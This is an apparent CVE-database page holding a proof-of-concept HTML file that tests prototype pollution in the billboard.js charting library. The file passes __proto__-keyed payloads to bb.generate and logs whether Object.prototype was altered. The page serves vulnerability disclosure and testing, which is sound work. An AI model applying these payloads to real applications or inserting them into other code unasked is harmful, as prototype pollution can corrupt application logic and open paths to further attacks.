4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / index.html HTML
<!DOCTYPE html>
<html>
<head>
  <script src="https://cdn.jsdelivr.net/npm/[email protected]/dist/billboard.pkgd.min.js"></script>
</head>
<body>
  <div id="chart"></div>

  <script>
    const tests = [
      {
        name: "Pollution via __proto__ root key",
        payload: {
          data: {
            columns: [["data1", 30]]
          },
          ["__proto__"]: {
            polluted: "polluted_via_string_key"
          }
        }
      },
      {
        name: "Pollution via __proto__ inside data",
        payload: {
          data: {
            columns: [["data1", 30]],
            ["__proto__"]: {
              polluted: "polluted_from_data"
            }
          }
        }
      }
    ];

    tests.forEach(({name, payload}) => {
      // Reset before each test
      delete Object.prototype.polluted;
      console.log("✅ Reset polluted property");

      try {
        console.log(`\n🧪 Testing: ${name}`);
        bb.generate(payload);
      } catch (err) {
        console.warn("⚠️ Error while generating chart:", err.message);
      }

      const result = Object.prototype.polluted;
      if (result) {
        console.log(`🔥 ${name} -> POLLUTED! Value: ${result}`);
      } else {
        console.log(`❌ ${name} -> Not polluted`);
      }
    });
  </script>
</body>
</html>